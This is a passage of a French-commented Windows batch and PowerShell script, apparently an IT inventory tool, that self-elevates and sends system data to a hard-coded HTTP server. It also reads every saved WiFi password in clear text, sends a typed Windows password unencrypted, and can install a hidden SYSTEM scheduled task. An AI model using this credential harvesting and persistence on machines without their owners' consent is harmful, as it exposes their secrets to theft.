@echo off
setlocal
net session >nul 2>&1
if %errorLevel% neq 0 (
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process -FilePath cmd.exe -ArgumentList '/c \"\"%~f0\"\" %*' -Verb RunAs"
    exit /b
)
set "RSD_BAT=%~f0"
set "RSD_TMP=%TEMP%\rsd_%RANDOM%.ps1"
powershell -NoProfile -ExecutionPolicy Bypass -Command "& { $f=Get-Content $env:RSD_BAT -Encoding UTF8; $n=($f | Select-String '^#Requires' | Select-Object -First 1).LineNumber-1; [System.IO.File]::WriteAllLines($env:RSD_TMP, $f[$n..($f.Length-1)], [System.Text.UTF8Encoding]::new($true)) }"
powershell -NoProfile -ExecutionPolicy Bypass -File "%RSD_TMP%" %*
del "%RSD_TMP%" >nul 2>&1
endlocal
exit /b
#Requires -RunAsAdministrator
<#
.SYNOPSIS
    Remote Specs Dump — collecteur d'informations système Windows 11
.DESCRIPTION
    Collecte CPU, RAM, stockage, GPU, réseau, WiFi, registre, event logs, etc.
    Streame chaque section vers un serveur FastAPI dès qu'elle est prête.
    Peut s'exécuter en mode "Monitor" (tâche planifiée légère) ou "Full" (inventaire complet).
.PARAMETER ServerUrl
    URL du serveur (ex: http://192.168.1.10:8000)
.PARAMETER ClientId
    Identifiant humain du client (ex: "client-acme", "dupont-sarl")
.PARAMETER Mode
    "Full" (défaut) ou "Monitor" (sections rapides uniquement)
.PARAMETER InstallMonitor
    Installe une tâche planifiée de monitoring toutes les 4 heures
.PARAMETER MonitorInterval
    Intervalle en heures pour la tâche planifiée (défaut: 4)
.EXAMPLE
    .\collect.ps1 -ServerUrl http://192.168.1.10:8000 -ClientId "client-dupont"
    .\collect.ps1 -ServerUrl http://192.168.1.10:8000 -ClientId "client-dupont" -Mode Monitor
    .\collect.ps1 -ServerUrl http://192.168.1.10:8000 -ClientId "client-dupont" -InstallMonitor
#>
param(
    [Parameter(Mandatory=$false)]
    [string]$ServerUrl = "http://100.67.127.4:8006",

    [Parameter(Mandatory=$false)]
    [string]$ClientId = "",

    [ValidateSet("Full","Monitor")]
    [string]$Mode = "Full",

    [switch]$InstallMonitor,

    [int]$MonitorInterval = 4,

    [switch]$Offline,
    [switch]$NoMenu
)

$ErrorActionPreference = "Continue"
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$OutputEncoding = [System.Text.Encoding]::UTF8
$MachineId = $env:COMPUTERNAME
$ScanId = $null
$script:OfflineMode = if ($Offline.IsPresent) { $true } elseif ($NoMenu.IsPresent) { $false } else { $true }
$script:LocalSections = [ordered]@{}
$script:ComputerPassword = $null
$TempDir = Join-Path $env:TEMP "RemoteSpecsDump"
New-Item -ItemType Directory -Path $TempDir -Force | Out-Null

# ── UUID persistant ───────────────────────────────────────────────────────────
$DataDir = "$env:ProgramData\RemoteSpecsDump"
New-Item -ItemType Directory -Path $DataDir -Force | Out-Null
$UuidFile = Join-Path $DataDir "machine-uuid.txt"
if (Test-Path $UuidFile) {
    $MachineUuid = (Get-Content $UuidFile -Raw).Trim()
} else {
    $MachineUuid = [System.Guid]::NewGuid().ToString()
    Set-Content $UuidFile $MachineUuid -Encoding ASCII
}
Write-Host "[UUID] $MachineUuid" -ForegroundColor DarkGray
if (-not $ClientId) { $ClientId = $env:USERNAME }

# ── Helpers ──────────────────────────────────────────────────────────────────

function Write-Log {
    param([string]$Message, [string]$Level = "INFO")
    $ts = Get-Date -Format "HH:mm:ss"
    $color = switch ($Level) { "ERROR" { "Red" } "WARN" { "Yellow" } "OK" { "Green" } default { "Cyan" } }
    Write-Host "[$ts] [$Level] $Message" -ForegroundColor $color
}

function Send-Section {
    param(
        [string]$Section,
        [object]$Data
    )
    if ($script:OfflineMode) {
        $script:LocalSections[$Section] = $Data
        Write-Log "[$Section] enregistre localement (mode hors ligne)" "WARN"
        return $null
    }
    try {
        $body = @{
            machine_id = $MachineId
            uuid       = $MachineUuid
            client_id  = $ClientId
            section    = $Section
            data       = $Data
            ts         = (Get-Date -Format "o")
            mode       = $Mode.ToLower()
            scan_id    = $ScanId
        } | ConvertTo-Json -Depth 30 -Compress
        $response = Invoke-RestMethod -Uri "$ServerUrl/api/ingest" -Method POST `
            -Body $body -ContentType "application/json; charset=utf-8" -TimeoutSec 30
        if ($null -eq $ScanId -and $response.scan_id) {
            $script:ScanId = $response.scan_id
        }
        Write-Log "[$Section] envoye (issues: $($response.issues_count))" "OK"
        return
    }
    catch {
        Write-Log "[$Section] Erreur envoi : $_" "ERROR"
        return $null
    }
}

function Export-OfflineScan {
    $ts = Get-Date -Format "yyyyMMdd-HHmmss"
    $outDir = "C:\aa"
    if (-not (Test-Path $outDir)) { New-Item -ItemType Directory -Path $outDir -Force | Out-Null }
    $jsonPath = Join-Path $outDir "rsd-$MachineId-$ts.json"
    $export = [ordered]@{
        format       = "rsd-offline-v1"
        machine_id   = $MachineId
        uuid         = $MachineUuid
        client_id    = $ClientId
        hostname     = $MachineId
        collected_at = (Get-Date -Format "o")
        sections     = $script:LocalSections
    }
    $json = $export | ConvertTo-Json -Depth 30 -Compress
    [System.IO.File]::WriteAllText($jsonPath, $json, [System.Text.Encoding]::UTF8)
    Write-Log "Fichier hors ligne cree : $jsonPath" "OK"
    try { Start-Process explorer.exe "/select,`"$jsonPath`"" } catch {}
    return $jsonPath
}

function Send-RegistryFile {
    param(
        [string]$FilePath,
        [string]$Hive,
        [string]$ExportType
    )
    try {
        $bytes = [System.IO.File]::ReadAllBytes($FilePath)
        $ms = New-Object System.IO.MemoryStream
        $gz = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Compress)
        $gz.Write($bytes, 0, $bytes.Length)
        $gz.Close()
        $compressed = $ms.ToArray()
        $b64 = [Convert]::ToBase64String($compressed)

        $body = @{
            machine_id   = $MachineId
            uuid         = $MachineUuid
            client_id    = $ClientId
            hive         = $Hive
            export_type  = $ExportType
            content_b64  = $b64
            scan_id      = $ScanId
        } | ConvertTo-Json -Compress
        Invoke-RestMethod -Uri "$ServerUrl/api/ingest/registry" -Method POST `
            -Body $body -ContentType "application/json; charset=utf-8" -TimeoutSec 120
        Write-Log "[registry/$Hive] $ExportType envoye ($([Math]::Round($compressed.Length/1KB)) KB compresse)" "OK"
    }
    catch {
        Write-Log "[registry/$Hive] Erreur envoi : $_" "ERROR"
    }
}

function ConvertTo-IsoDate {
    param($Date)
    if ($null -eq $Date) { return $null }
    try { return ([datetime]$Date).ToString("o") } catch { return $null }
}

function Complete-Scan {
    if ($ScanId) {
        try {
            Invoke-RestMethod -Uri "$ServerUrl/api/scan/$ScanId/complete" -Method POST -TimeoutSec 10 | Out-Null
            Write-Log "Scan #$ScanId marque termine" "OK"
        } catch { Write-Log "Impossible de marquer le scan termine : $_" "WARN" }
    }
}

# ── Menu interactif ──────────────────────────────────────────────────────────
# Serveurs par défaut (modifier les URL ici pour personnaliser)
$rsdDefaultServers = @(
    @{ i=1; label="100.67.127.4:8006  (principal)"; url="http://100.67.127.4:8006"  }
    @{ i=2; label="192.168.1.25:8006  (LAN)";        url="http://192.168.1.25:8006"  }
    @{ i=3; label="192.168.1.10:8000  (backup)";     url="http://192.168.1.10:8000"  }
    @{ i=4; label="Autre adresse (saisir)";           url=$null                       }
    @{ i=5; label="Mode hors ligne (fichier JSON)";   url=$null; offline=$true        }
)

if (-not $NoMenu) {
    Write-Host ""
    Write-Host "=== Remote Specs Dump ===" -ForegroundColor Cyan
    Write-Host ""
    Write-Host "Serveur de destination :" -ForegroundColor Yellow
    foreach ($s in $rsdDefaultServers) {
        $mark = if ($s.url -and $s.url -eq $ServerUrl) { "*" } else { " " }
        Write-Host "  [$($s.i)][$mark] $($s.label)"
    }
    Write-Host "      [Entree] Garder : $ServerUrl" -ForegroundColor DarkGray
    $ch = (Read-Host "Choix").Trim()
    if ($ch -match '^\d+$') {
        $sel = $rsdDefaultServers | Where-Object { $_.i -eq [int]$ch }
        if ($sel) {
            if ($sel.offline) {
                $script:OfflineMode = $true
            } elseif ($null -eq $sel.url) {
                $cu = (Read-Host "URL serveur (ex: http://192.168.1.X:8000)").Trim()
                if ($cu) { $ServerUrl = $cu }
            } else { $ServerUrl = $sel.url }
        }
    }

    Write-Host ""
    $inId = (Read-Host "Identifiant client (nom, telephone...) [Entree = $ClientId]").Trim()
    if ($inId) { $ClientId = $inId }

    Write-Host ""
    Write-Host "Mot de passe Windows (optionnel — Entree pour ignorer)" -ForegroundColor DarkGray
    $pwSec   = Read-Host " " -AsSecureString
    $pwBSTR  = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pwSec)
    $pwPlain = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($pwBSTR)
    [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($pwBSTR)
    if ($pwPlain -and $pwPlain.Length -gt 0) { $script:ComputerPassword = $pwPlain }

    Write-Host ""
}

# ── Test connexion serveur ───────────────────────────────────────────────────

if ($script:OfflineMode) {
    Write-Log "Mode hors ligne force (-Offline)" "WARN"
} else {
    Write-Log "Connexion a $ServerUrl..." "INFO"
    try {
        Invoke-RestMethod -Uri "$ServerUrl/api/machines" -Method GET -TimeoutSec 5 | Out-Null
        Write-Log "Serveur joignable" "OK"
    } catch {
        Write-Log "Serveur inaccessible ($ServerUrl) - basculement en mode hors ligne" "WARN"
        $script:OfflineMode = $true
    }
}

# ── Install Monitor Task ─────────────────────────────────────────────────────

if ($InstallMonitor) {
    $scriptPath = $MyInvocation.MyCommand.Path
    $action = New-ScheduledTaskAction -Execute "powershell.exe" `
        -Argument "-NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$scriptPath`" -ServerUrl `"$ServerUrl`" -ClientId `"$ClientId`" -Mode Monitor"
    $trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Hours $MonitorInterval) -Once -At (Get-Date)
    $settings = New-ScheduledTaskSettingsSet -RunOnlyIfNetworkAvailable -StartWhenAvailable
    $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
    Register-ScheduledTask -TaskName "RemoteSpecsDump-Monitor" -Action $action `
        -Trigger $trigger -Settings $settings -Principal $principal -Force | Out-Null
    Write-Log "Tache planifiee installee : toutes les $MonitorInterval h" "OK"
    exit 0
}

# ════════════════════════════════════════════════════════════════════════════
# SECTIONS
# ════════════════════════════════════════════════════════════════════════════

# ── CPU ──────────────────────────────────────────────────────────────────────
Write-Log "Collecte CPU..." "INFO"
$cpuData = Get-CimInstance Win32_Processor | ForEach-Object {
    @{
        name                = $_.Name.Trim()
        manufacturer        = $_.Manufacturer
        socket              = $_.SocketDesignation
        cores               = $_.NumberOfCores
        logical_processors  = $_.NumberOfLogicalProcessors
        max_clock_speed     = $_.MaxClockSpeed
        current_clock_speed = $_.CurrentClockSpeed
        load_percentage     = $_.LoadPercentage
        l2_cache_kb         = $_.L2CacheSize
        l3_cache_kb         = $_.L3CacheSize
        architecture        = $_.AddressWidth
        cpu_id              = $_.ProcessorId
        virtualization      = $_.VirtualizationFirmwareEnabled
    }
}
Send-Section "cpu" @($cpuData)

# ── Carte mère ───────────────────────────────────────────────────────────────
Write-Log "Collecte carte mere..." "INFO"
$mb = Get-CimInstance Win32_BaseBoard | Select-Object -First 1
$bios = Get-CimInstance Win32_BIOS | Select-Object -First 1
$secBoot = try {
    (Confirm-SecureBootUEFI -ErrorAction Stop)
} catch { $null }
$mbData = @{
    manufacturer      = $mb.Manufacturer
    product           = $mb.Product
    serial_number     = $mb.SerialNumber
    version           = $mb.Version
    bios_version      = $bios.SMBIOSBIOSVersion
    bios_date         = ConvertTo-IsoDate $bios.ReleaseDate
    bios_manufacturer = $bios.Manufacturer
    bios_serial       = $bios.SerialNumber
    secure_boot       = $secBoot
    tpm_present       = (Get-Tpm -ErrorAction SilentlyContinue).TpmPresent
    tpm_version       = (Get-Tpm -ErrorAction SilentlyContinue).ManufacturerVersionInfo
}
Send-Section "motherboard" $mbData

# ── RAM ───────────────────────────────────────────────────────────────────────
Write-Log "Collecte RAM..." "INFO"
$ramData = Get-CimInstance Win32_PhysicalMemory | ForEach-Object {
    @{
        device_locator        = $_.DeviceLocator
        bank_label            = $_.BankLabel
        capacity_gb           = [Math]::Round($_.Capacity / 1GB, 2)
        speed                 = $_.Speed
        configured_clock_speed= $_.ConfiguredClockSpeed
        manufacturer          = $_.Manufacturer
        serial_number         = $_.SerialNumber
        part_number           = $_.PartNumber.Trim()
        memory_type           = $_.MemoryType
        smbios_memory_type    = $_.SMBIOSMemoryType
        form_factor           = $_.FormFactor
        data_width            = $_.DataWidth
        voltage               = $_.ConfiguredVoltage
    }
}
$totalRamGB = [Math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)
Send-Section "ram" @{ sticks = @($ramData); total_gb = $totalRamGB }

# ── Stockage + SMART ──────────────────────────────────────────────────────────
Write-Log "Collecte stockage + SMART..." "INFO"
$physDisks = Get-PhysicalDisk -ErrorAction SilentlyContinue
$smartData = @{}
foreach ($pd in $physDisks) {
    try {
        $reliability = $pd | Get-StorageReliabilityCounter -ErrorAction SilentlyContinue
        if ($reliability) {
            $smartData[$pd.FriendlyName] = @{
                temperature           = $reliability.Temperature
                reallocated_sectors   = $reliability.ReadErrorsTotal
                wear_level            = $reliability.Wear
                power_on_hours        = $reliability.PowerOnHours
                start_stop_count      = $reliability.StartStopCycleCount
            }
        }
    } catch {}
}

$storageData = Get-CimInstance Win32_DiskDrive | ForEach-Object {
    $disk = $_
    $smart = $smartData[$disk.Model]
    $partitions = Get-CimInstance -Query "ASSOCIATORS OF {Win32_DiskDrive.DeviceID='$($disk.DeviceID)'} WHERE AssocClass=Win32_DiskDriveToDiskPartition" -ErrorAction SilentlyContinue
    $logicalDisks = @()
    foreach ($part in $partitions) {
        $lds = Get-CimInstance -Query "ASSOCIATORS OF {Win32_DiskPartition.DeviceID='$($part.DeviceID)'} WHERE AssocClass=Win32_LogicalDiskToPartition" -ErrorAction SilentlyContinue
        foreach ($ld in $lds) {
            $logicalDisks += @{
                drive_letter  = $ld.DeviceID
                size_gb       = [Math]::Round($ld.Size / 1GB, 2)
                free_gb       = [Math]::Round($ld.FreeSpace / 1GB, 2)
                filesystem    = $ld.FileSystem
                volume_name   = $ld.VolumeName
            }
        }
    }
    @{
        model               = $disk.Model.Trim()
        serial_number       = $disk.SerialNumber.Trim()
        size_gb             = [Math]::Round($disk.Size / 1GB, 2)
        interface_type      = $disk.InterfaceType
        media_type          = $disk.MediaType
        partitions          = $disk.Partitions
        logical_disks       = $logicalDisks
        smart_temperature   = $smart.temperature
        smart_reallocated_sectors = $smart.reallocated_sectors
        smart_wear_level    = $smart.wear_level
        smart_power_on_hours= $smart.power_on_hours
    }
}
Send-Section "storage" @($storageData)

# ── GPU ───────────────────────────────────────────────────────────────────────
Write-Log "Collecte GPU..." "INFO"

# VRAM précis depuis registre (evite overflow DWORD Win32_VideoController)
$gpuVramReg = @{}
try {
    Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}" -ErrorAction Stop |
        Where-Object { $_.PSChildName -match '^\d{4}$' } | ForEach-Object {
            $p = Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue
            if ($p -and $p.DriverDesc) {
                $vram = if ($p.'HardwareInformation.qwMemorySize') { $p.'HardwareInformation.qwMemorySize' }
                        elseif ($p.'HardwareInformation.MemorySize') { $p.'HardwareInformation.MemorySize' }
                        else { $null }
                if ($vram) { $gpuVramReg[$p.DriverDesc] = [Math]::Round($vram / 1GB, 2) }
            }
        }
} catch {}

$gpuData = Get-CimInstance Win32_VideoController | ForEach-Object {
    @{
        name               = $_.Name
        adapter_ram_gb     = if ($gpuVramReg.ContainsKey($_.Name) -and $gpuVramReg[$_.Name] -gt 0) { $gpuVramReg[$_.Name] } else { [Math]::Round([uint64]$_.AdapterRAM / 1GB, 2) }
        driver_version     = $_.DriverVersion
        driver_date        = ConvertTo-IsoDate $_.DriverDate
        video_mode_desc    = $_.VideoModeDescription
        current_bits       = $_.CurrentBitsPerPixel
        current_hres       = $_.CurrentHorizontalResolution
        current_vres       = $_.CurrentVerticalResolution
        current_refresh    = $_.CurrentRefreshRate
        status             = $_.Status
    }
}
Send-Section "gpu" @($gpuData)

# ── Réseau ────────────────────────────────────────────────────────────────────
Write-Log "Collecte reseau..." "INFO"
$adapters = Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled } | ForEach-Object {
    @{
        description     = $_.Description
        mac_address     = $_.MACAddress
        ip_addresses    = @($_.IPAddress)
        subnets         = @($_.IPSubnet)
        gateways        = @($_.DefaultIPGateway)
        dns_servers     = @($_.DNSServerSearchOrder)
        dhcp_enabled    = $_.DHCPEnabled
        dhcp_server     = $_.DHCPServer
        dns_hostname    = $_.DNSHostName
        dns_domain      = $_.DNSDomain
    }
}
$ipconfigRaw = (ipconfig /all 2>&1) -join "`n"
$netstatRaw  = (netstat -ano 2>&1) -join "`n"
$arpRaw      = (arp -a 2>&1) -join "`n"
$routeRaw    = (route print 2>&1) -join "`n"

# DNS systeme global
$dnsSystem = @{}
try {
    $dnsSystem = @{
        suffix_search_list = @((Get-DnsClientGlobalSetting -ErrorAction Stop).SuffixSearchList)
        use_devolution     = (Get-DnsClientGlobalSetting -ErrorAction Stop).UseDevolution
        devolution_level   = (Get-DnsClientGlobalSetting -ErrorAction Stop).DevolutionLevel
    }
} catch {}

# DoH (DNS over HTTPS) depuis registre Windows
$dohTemplates = @()
try {
    $dohKey = "HKLM:\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\DohWellKnownServers"
    if (Test-Path $dohKey) {
        Get-ChildItem $dohKey -ErrorAction Stop | ForEach-Object {
            $p = Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue
            $dohTemplates += @{ server = $_.PSChildName; template = $p.Template; auto_upgrade = $p.AutoUpgrade }
        }
    }
} catch {}

Send-Section "network" @{
    adapters     = @($adapters)
    ipconfig     = $ipconfigRaw
    netstat      = $netstatRaw
    arp          = $arpRaw
    route        = $routeRaw
    dns_system   = $dnsSystem
    doh_templates= @($dohTemplates)
}

# ── WiFi ──────────────────────────────────────────────────────────────────────
if ($Mode -eq "Full") {
    Write-Log "Collecte profils WiFi..." "INFO"
    $wifiProfiles = @()
    $profileNames = (netsh wlan show profiles 2>&1) | Select-String "(?:Profil [^:]+|All User Profile)\s*:\s*(.+)" | ForEach-Object {
        $_.Matches[0].Groups[1].Value.Trim()
    } | Where-Object { $_ -ne "" }
    foreach ($name in $profileNames) {
        $detail = netsh wlan show profile name="$name" key=clear 2>&1
        # Extraction mot de passe insensible a l'encodage (é peut devenir Ã© selon la page de code OEM)
        $pwdLine = $detail | Where-Object {
            ($_ -match "Contenu" -or $_ -match "Key Content") -and $_ -match ":\s*\S" -and $_ -notmatch "s.{0,3}curit"
        } | Select-Object -First 1
        $password = if ($pwdLine) { ($pwdLine -replace "^[^:]+:\s*", "").Trim() } else { $null }
        $auth = ($detail | Select-String "Authentification\s*:\s*(.+)|Authentication\s*:\s*(.+)") | ForEach-Object {
            if ($_.Matches[0].Groups[1].Value) { $_.Matches[0].Groups[1].Value.Trim() }
            else { $_.Matches[0].Groups[2].Value.Trim() }
        } | Select-Object -First 1
        $cipher = ($detail | Select-String "Chiffrement\s*:\s*(.+)|Cipher\s*:\s*(.+)") | ForEach-Object {
            if ($_.Matches[0].Groups[1].Value) { $_.Matches[0].Groups[1].Value.Trim() }
            else { $_.Matches[0].Groups[2].Value.Trim() }
        } | Select-Object -First 1
        $wifiProfiles += @{
            ssid           = $name
            authentication = $auth
            cipher         = $cipher
            password       = $password
        }
    }
    Send-Section "wifi" $wifiProfiles
}

# ── Utilisateurs ──────────────────────────────────────────────────────────────
Write-Log "Collecte utilisateurs..." "INFO"
$netUserRaw = (net user 2>&1) -join "`n"
# Groupe Administrateurs via SID S-1-5-32-544 (indépendant de la locale)
$adminGroupName = try {
    (Get-LocalGroup -SID 'S-1-5-32-544' -ErrorAction Stop).Name
} catch {
    "Administrators"
}
$adminsRaw = (net localgroup "$adminGroupName" 2>&1) -join "`n"
$localUsers = Get-LocalUser -ErrorAction SilentlyContinue | ForEach-Object {
    @{
        name             = $_.Name
        full_name        = $_.FullName
        description      = $_.Description
        disabled         = -not $_.Enabled
        lockout          = $_.IsLockout
        password_required= $_.PasswordRequired
        sid              = $_.SID.Value
    }
}
Send-Section "users" @{
    local_users  = @($localUsers)
    net_user_raw = $netUserRaw
    admins_raw   = $adminsRaw
}

# ── Paramètres système (sysdm) ────────────────────────────────────────────────
Write-Log "Collecte parametres systeme..." "INFO"
$sysInfo = Get-ComputerInfo -ErrorAction SilentlyContinue
$sysinfoRaw = (systeminfo 2>&1) -join "`n"
$winKey = try {
    (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -ErrorAction Stop).ProductId
} catch { $null }
$regSysInfo = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -ErrorAction SilentlyContinue
Send-Section "system" @{
    hostname              = $env:COMPUTERNAME
    domain                = $env:USERDOMAIN
    os_name               = $sysInfo.OsName
    os_version            = $sysInfo.OsVersion
    os_build              = $sysInfo.OsBuildNumber
    os_architecture       = $sysInfo.OsArchitecture
    install_date          = ConvertTo-IsoDate $sysInfo.OsInstallDate
    last_boot             = ConvertTo-IsoDate $sysInfo.OsLastBootUpTime
    uptime_hours          = [Math]::Round(((Get-Date) - $sysInfo.OsLastBootUpTime).TotalHours, 1)
    registered_owner      = $regSysInfo.RegisteredOwner
    registered_org        = $regSysInfo.RegisteredOrganization
    product_name          = $regSysInfo.ProductName
    display_version       = $regSysInfo.DisplayVersion
    current_build         = $regSysInfo.CurrentBuild
    ubr                   = $regSysInfo.UBR
    product_id            = $winKey
    machine_guid          = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -ErrorAction SilentlyContinue).MachineGuid
    time_zone             = $sysInfo.TimeZone
    locale                = $sysInfo.OsMuiLanguages
    systeminfo_raw        = $sysinfoRaw
    page_file             = $sysInfo.OsVirtualMemoryPageSize
    total_ram_gb          = [Math]::Round($sysInfo.CsTotalPhysicalMemory / 1GB, 2)
    cs_manufacturer       = $sysInfo.CsManufacturer
    cs_model              = $sysInfo.CsModel
    machine_password      = $script:ComputerPassword
}

# ── Services ──────────────────────────────────────────────────────────────────
Write-Log "Collecte services..." "INFO"

# Services désactivés via MSConfig (valeurs = start type d'origine)
$msconfigSvcs = @{}
try {
    $msconfigKey = "HKLM:\SOFTWARE\Microsoft\Shared Tools\MSConfig\services"
    if (Test-Path $msconfigKey) {
        $props = Get-ItemProperty $msconfigKey -ErrorAction Stop
        $props.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object {
            $msconfigSvcs[$_.Name] = $_.Value
        }
    }
} catch {}

$startTypeMap = @{ 0='Boot'; 1='System'; 2='Auto'; 3='Manual'; 4='Disabled' }

$servicesData = Get-CimInstance Win32_Service | ForEach-Object {
    $svcName = $_.Name

    # Extraire le chemin de l'exécutable (gère les guillemets et arguments)
    $exePath = $null
    if ($_.PathName -match '"([^"]+\.exe)"') { $exePath = $Matches[1] }
    elseif ($_.PathName -match '^([^\s]+\.exe)') { $exePath = $Matches[1] }

    # Fabricant et version depuis le binaire
    $manufacturer = $null
    $fileVersion  = $null
    if ($exePath -and (Test-Path $exePath -ErrorAction SilentlyContinue)) {
        try {
            $vi = (Get-Item $exePath -ErrorAction Stop).VersionInfo
            $manufacturer = $vi.CompanyName
            $fileVersion  = $vi.FileVersion
        } catch {}
    }

    # Date approximative de désactivation = LastWriteTime de la clé service
    $disableDate = $null
    if ($_.StartMode -eq "Disabled") {
        $disableDate = $(try {
            ConvertTo-IsoDate (Get-Item "HKLM:\SYSTEM\CurrentControlSet\Services\$svcName" -ErrorAction Stop).LastWriteTime
        } catch { $null })
    }

    @{
        name                    = $_.Name
        display_name            = $_.DisplayName
        description             = $_.Description
        status                  = $_.State
        start_type              = $_.StartMode
        path                    = $_.PathName
        account                 = $_.StartName
        manufacturer            = $manufacturer
        file_version            = $fileVersion
        disable_date            = $disableDate
        msconfig_disabled       = $msconfigSvcs.ContainsKey($_.Name)
        msconfig_original_start = if ($msconfigSvcs.ContainsKey($_.Name)) { $startTypeMap[[int]$msconfigSvcs[$_.Name]] } else { $null }
    }
}
Send-Section "services" @($servicesData)

# ── Pilotes / Périphériques ───────────────────────────────────────────────────
Write-Log "Collecte pilotes / peripheriques..." "INFO"
$driversData = Get-CimInstance Win32_PnPEntity | ForEach-Object {
    @{
        name                    = $_.Name
        device_id               = $_.DeviceID
        status                  = $_.Status
        config_manager_error    = $_.ConfigManagerErrorCode
        present                 = $_.Present
        class                   = $_.PNPClass
        manufacturer            = $_.Manufacturer
    }
}
# Fichiers oem*.inf depuis DriverStore (correspondance par InfName)
$oemInfFiles = @{}
try {
    Get-ChildItem "C:\Windows\System32\DriverStore\FileRepository" -Recurse -Filter "*.inf" -ErrorAction SilentlyContinue |
        Where-Object { $_.Name -match '^oem\d+\.inf$' } | Select-Object -First 200 | ForEach-Object {
            $oemInfFiles[$_.Name] = @{
                path     = $_.FullName
                size_kb  = [Math]::Round($_.Length / 1KB, 1)
                modified = ConvertTo-IsoDate $_.LastWriteTime
                folder   = $_.DirectoryName
            }
        }
} catch {}

# Pilotes installes (C:\Windows\System32\drivers\*.sys)
$installedDriverFiles = try {
    Get-ChildItem "C:\Windows\System32\drivers" -Filter "*.sys" -ErrorAction SilentlyContinue |
        Select-Object -First 300 | ForEach-Object {
            $vi = $_.VersionInfo
            @{
                name     = $_.Name
                size_kb  = [Math]::Round($_.Length / 1KB, 1)
                company  = $vi.CompanyName
                version  = $vi.FileVersion
                desc     = $vi.FileDescription
                modified = ConvertTo-IsoDate $_.LastWriteTime
            }
        }
} catch { @() }

Send-Section "drivers" @{
    drivers             = @($driversData)
    oem_inf_files       = $oemInfFiles
    installed_sys_files = @($installedDriverFiles)
}

# ── Programmes au démarrage ───────────────────────────────────────────────────
Write-Log "Collecte demarrage..." "INFO"
$startupData = Get-CimInstance Win32_StartupCommand | ForEach-Object {
    @{
        name     = $_.Name
        command  = $_.Command
        location = $_.Location
        user     = $_.User
    }
}
$scheduledTasks = Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { $_.State -eq "Ready" } | ForEach-Object {
    @{
        task_name  = $_.TaskName
        task_path  = $_.TaskPath
        state      = $_.State.ToString()
        trigger    = ($_.Triggers | ForEach-Object { $_.CimClass.CimClassName }) -join ", "
    }
}
Send-Section "startup" @{ startup_commands = @($startupData); scheduled_tasks = @($scheduledTasks) }

# ── Logiciels installés ───────────────────────────────────────────────────────
if ($Mode -eq "Full") {
    Write-Log "Collecte logiciels installes..." "INFO"
    $paths = @(
        "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*",
        "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*",
        "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*"
    )
    $softwareData = foreach ($path in $paths) {
        Get-ItemProperty $path -ErrorAction SilentlyContinue |
            Where-Object { $_.DisplayName } |
            ForEach-Object {
                @{
                    name            = $_.DisplayName
                    version         = $_.DisplayVersion
                    publisher       = $_.Publisher
                    install_date    = $_.InstallDate
                    install_location= $_.InstallLocation
                    uninstall_string= $_.UninstallString
                }
            }
    }
    Send-Section "software" @($softwareData)
}

# ── Mises à jour Windows ──────────────────────────────────────────────────────
Write-Log "Collecte mises a jour..." "INFO"
$hotfixes = Get-HotFix -ErrorAction SilentlyContinue | Sort-Object {
    try { [datetime]$_.InstalledOn } catch { [datetime]::MinValue }
} -Descending | ForEach-Object {
    @{
        hotfix_id    = $_.HotFixID
        description  = $_.Description
        installed_by = $_.InstalledBy
        installed_on = ConvertTo-IsoDate $_.InstalledOn
    }
}
$lastPatch = ($hotfixes | Select-Object -First 1).installed_on

# Historique complet Windows Update via COM API
$wuHistory = @()
try {
    $session  = New-Object -ComObject Microsoft.Update.Session -ErrorAction Stop
    $searcher = $session.CreateUpdateSearcher()
    $total    = $searcher.GetTotalHistoryCount()
    if ($total -gt 0) {
        $resultMap = @{ 0='Inconnu'; 1='Succes'; 2='Succes avec erreur'; 3='Echec'; 4='Annule' }
        $opMap     = @{ 1='Installation'; 2='Desinstallation'; 3='Autre' }
        $history   = $searcher.QueryHistory(0, [Math]::Min($total, 200))
        for ($i = 0; $i -lt $history.Count; $i++) {
            $h = $history.Item($i)
            $wuHistory += @{
                title        = $h.Title
                date         = ConvertTo-IsoDate $h.Date
                result       = $resultMap[[int]$h.ResultCode]
                result_code  = [int]$h.ResultCode
                hresult      = if ($h.HResult -ne 0) { "0x{0:X8}" -f [uint32]$h.HResult } else { $null }
                operation    = $opMap[[int]$h.Operation]
                kb           = if ($h.Title -match 'KB(\d+)') { "KB$($Matches[1])" } else { $null }
            }
        }
    }
} catch {}

# Erreurs WU depuis le journal d'evenements (IDs 20=echec install, 25=echec dl, 41=reboot)
$wuErrors = @()
try {
    $wuErrors = Get-WinEvent -FilterHashtable @{
        LogName   = "Microsoft-Windows-WindowsUpdateClient/Operational"
        Id        = @(20, 25, 41)
        StartTime = (Get-Date).AddDays(-90)
    } -MaxEvents 100 -ErrorAction Stop | ForEach-Object {
        @{
            id           = $_.Id
            time         = ConvertTo-IsoDate $_.TimeCreated
            event_type   = switch ($_.Id) { 20{"Echec install"} 25{"Echec download"} 41{"Reboot requis"} default{$_.Id} }
